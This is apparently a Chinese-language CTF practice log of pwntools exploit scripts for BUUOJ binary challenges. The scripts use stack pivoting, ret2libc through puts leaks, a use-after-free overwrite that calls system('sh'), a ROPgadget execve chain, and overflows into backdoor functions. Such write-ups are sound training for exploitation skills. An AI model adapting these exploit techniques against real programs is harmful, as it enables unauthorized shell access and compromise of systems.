Pwn刷题
ciscn_2019_s_4
栈迁移
#!coding:utf-8 from pwn import * context.log_level='debug' #r=remote('node3.buuoj.cn',27491) r=process('./ciscn_s_4') elf=ELF('./ciscn_s_4') sys_plt=elf.plt['system'] leave=0x080485FD payload='a'*0x24+'bbbb' r.send(payload) r.recvuntil('bbbb') ebp=u32(r.recv(4)) #泄露ebp print(hex(ebp)) buf=ebp-56 #计算buf到下一个ret的时候ebp的距离 payload=(p32(sys_plt)+p32(0xdeadbeef)+p32(buf+0xc)+'/bin/sh\x00') payload=payload.ljust(0x28,'a')+p32(buf-4)+p32(leave) r.sendline(payload) r.interactive()
ciscn_2019_es_2
栈迁移
from pwn import * #r=remote('node3.buuoj.cn',26200) r=process('./ciscn_2019_es_2') context.log_level='debug' sys_addr = 0x08048400 leave_ret = 0x080484b8 payload ='a'*0x20+'bbbbbbbb' r.send(payload) r.recvuntil('bbbbbbbb') bp_addr = u32(r.recv(4)) payload2 =('aaaa'+p32(sys_addr)+'bbbb'+p32(bp_addr-0x28)+'/bin/sh\x00').ljust(0x28,'a') payload2+=p32(bp_addr-0x38)+p32(leave_ret) r.sendline(payload2) r.interactive()
参考WP
ciscn_2019_s_9
利用puts来泄露libc
from pwn import * from LibcSearcher import * context.log_level='debug' r=remote('node3.buuoj.cn',26368) #r=process('./ciscn_s_9') elf=ELF('./ciscn_s_9') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=elf.symbols['main'] payload='a'*0x20+'bbbb' payload+=p32(puts_plt)+p32(main_addr)+p32(puts_got) r.recvuntil(">\n") r.sendline(payload) r.recvuntil("OK bye~\n") puts_addr=u32(r.recv(4)) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload='a'*0x20+'bbbb' payload+=p32(system_addr)+p32(0xdeadbeef)+p32(bin_addr) r.recvuntil(">\n") r.sendline(payload) r.interactive()
ciscn_2019_n_3
do_new申请了一个大小为0xC的chunk用来存贮信息
*v3保存rec_int_print的函数地址,*(v3+4)保存rec_int_free的函数地址,*(v3+8)保存用户输入的数据
如果是字符串类型,在内容长度小于0x400的情况下,再申请一个chunk用来存储字符串,*(v3+8)指向刚申请的chunk的地址
do_del调用了rec_int_free或rec_str_free,但是free后并没有清空指针,导致UAF漏洞
do_dunp调用rec_int_print或rec_str_prinf打印内容
思路
先申请两个chunk,chunk0和chunk1,然后依次free掉,再次申请一个大小为0xC的chunk2,这样chunk2分配的其实是chunk1和chunk0对应的内存块,然后就可以将free的指针覆盖成system@plt,再把sh写入到chunk0的print函数中,因为free函数的参数就是结构体指针本身,这样free的时候就可以调用system("sh")
#!coding:utf-8 from pwn import * context.log_level='debug' #r=remote('node3.buuoj.cn',26501) r=process('./ciscn_2019_n_3') elf=ELF('./ciscn_2019_n_3') system_plt=elf.plt['system'] def New_note(index,type,value,length=0): r.recvuntil('CNote > ') r.sendline('1') r.recvuntil('Index > ') r.sendline(str(index)) r.recvuntil('Type > ') r.sendline(str(type)) if type==1: r.revuntil('Value > ') r.sendline(str(value)) else: r.recvuntil('Length > ') r.sendline(str(length)) r.recvuntil('Value > ') if length == 8: r.send(str(value)) else: r.sendline(str(value)) def Del_note(index): r.recvuntil('CNote > ') r.sendline('2') r.recvuntil('Index > ') r.sendline(str(index)) def Show_note(index): r.recvuntil('CNote > ') r.sendline('3') r.recvuntil('Index > ') r.sendline(str(index)) New_note(0,2,'aaaa',0x20) #chunk0 New_note(1,2,'aaaa',0x30) #chunk1 Del_note(0) #free chunk0 Del_note(1) #free chunk1 #fastbin : chunk1 ---> chunk0 #free指针指向system@plt,,print指针改成sh New_note(2,2,'sh\x00\x00'+p32(system_plt),0xc) #调用system("sh") Del_note(0)
参考WP
picoctf_2018_can_you_gets_me
静态编译的程序,ROPgadget可以构造ropchain
这里有个坑,注意引用模块的顺序,反了就报错
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain
#!/usr/bin/env python2 # execve generated by ROPgadget from pwn import * from struct import pack r=process('./PicoCTF_2018_can-you-gets-me') #r=remote('node3.buuoj.cn',27150) def exp(): # Padding goes here p = 'a'*0x18+'bbbb' p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 return p payload=exp() r.sendline(payload) r.interactive()
picoctf_2018_rop chain
gets存在栈溢出,只要满足if判断就可以了
from pwn import * r=remote('node3.buuoj.cn',27565) #r=process('./PicoCTF_2018_rop_chain') elf=ELF('./PicoCTF_2018_rop_chain') pop_ret=0x080485d6 payload='a'*0x18+'bbbb' payload+=p32(elf.sym['win_function1'])+p32(pop_ret)+p32(0x1) payload+=p32(elf.sym['win_function2'])+p32(pop_ret)+p32(0xBAAAAAAD) payload+=p32(elf.sym['flag'])+p32(pop_ret)+p32(0xDEADBAAD) r.sendline(payload) r.interactive()
wustctf2020_getshell
直接溢出到后门函数
from pwn import * r=remote('node3.buuoj.cn',28157) elf=ELF('./wustctf2020_getshell') shell_addr=elf.sym['shell'] payload='a'*0x18+'bbbb'+p32(shell_addr) r.sendline(payload) r.interactive()
wustctf2020_closed
stdout 重定向到 stdin
from pwn import * r=remote('node3.buuoj.cn',25690) r.sendline('exec 1>&0') r.interactive()
cmcc_pwnme1
远程服务器没有/home/flag这个文件,直接ret2libc
from pwn import * from LibcSearcher import * #r=process('./pwnme1') r=remote('node3.buuoj.cn',28179) elf=ELF('./pwnme1') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=elf.sym['main'] r.recvuntil('Exit') r.sendline('5') payload='a'*0xa4+'bbbb'+p32(puts_plt)+p32(main_addr)+p32(puts_got) r.sendline(payload) puts_addr=u32(r.recvuntil('\xf7')[-4:]) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') sys_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') r.recvuntil('Exit') r.sendline('5') payload='a'*0xa4+'bbbb'+p32(sys_addr)+'bbbb'+p32(bin_addr) r.sendline(payload) r.interactive()
cmcc_pwnme2
exec_string函数可以读取string文件的内容,用gets将flag的路径写入string再调用exec_string就可以得到flag
from pwn import * #r=process('./pwnme2') r=remote('node3.buuoj.cn',26980) elf=ELF('./pwnme2') gets_plt=elf.plt['gets'] exec_string=elf.sym['exec_string'] string=0x0804A060 payload='a'*0x6c+'bbbb'+p32(gets_plt)+p32(exec_string)+p32(string) r.sendline(payload) r.sendline('/flag') r.interactive()
wustctf2020_getshell_2
read只能写入0x24,栈有0x18,我们可以写入的只有8字节(0x24-0x18-0x4=0x8),程序可以找到call system和sh,可以用system('sh')来getshell
from pwn import * #r=process('./wustctf2020_getshell_2') r=remote('node3.buuoj.cn',26192) elf=ELF('./wustctf2020_getshell_2') sys_addr=0x08048529 sh_addr=0x08048670 payload='a'*0x18+'bbbb'+p32(sys_addr)+p32(sh_addr) r.sendline(payload) r.interactive()
mrctf2020_easyoverflow
替换成“n0t_r3@11y_f1@g”绕过检查即可
from pwn import * r=process('./mrctf2020_easyoverflow') #r=remote('node3.buuoj.cn',29474) payload='a'*0x30+'n0t_r3@11y_f1@g' r.sendline(payload) r.interactive()
suctf_2018_basic pwn
from pwn import * #r=process('./SUCTF_2018_basic_pwn') r=remote('node3.buuoj.cn',29416) callThisFun=0x401157 payload='a'*0x110+'bbbbbbbb'+p64(callThisFun) r.sendline(payload) r.interactive()